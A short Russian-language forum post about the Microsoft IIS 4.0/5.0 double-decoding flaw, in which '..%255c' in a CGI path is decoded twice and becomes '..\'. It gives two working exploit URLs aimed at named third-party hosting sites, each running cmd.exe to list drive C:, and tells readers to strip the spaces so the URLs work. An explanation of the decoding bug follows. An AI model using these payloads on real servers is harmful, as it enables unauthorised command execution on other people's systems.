Привет ПиплЫ!
Суть: путь к CGI-программе декодируется дважды.
Следствие - выполнение любого файла с правами HTTPD.
Примеры 2 буржуйских хостера:
http://www.pomdapiusa.com/scripts/..%255c..%255
cwinnt/system32/cmd.exe?/c+dir+c:\
http://aerohost.com/..%255c..%255 cwinnt/system32/cmd.exe?/c+dir+c:\
(убирайте пробелы)
Пояснение:
Уязвимые системы:
- Microsoft IIS 4.0
- Microsoft IIS 5.0
При загрузке CGI
программы IIS декодирует путь к ней дважды.
Первый раз имя файла проверяется на “исполняемость”,
т.е. присутствуют ли в имени ‘.exe' или '.com'
части. После благополучного прохождения
первой проверки наступает вторая – сервер
по идее декодирует параметры скрипта.
Однако парни из Microsoft тут ошиблись, во
второй раз декодируются как параметры, так
и снова имя CGI! Т.е. имя имя скрипта
декодируется дважды! Таким образом, указав
неправильное имя, атакующий может получить
доступ к системе. Например '..\' можно
показать как '..%255c' или '..%%35c'. После первого
декодирования '..%255c' превращается в '..%5c' и
проходит проверку, после второго – в '..\'.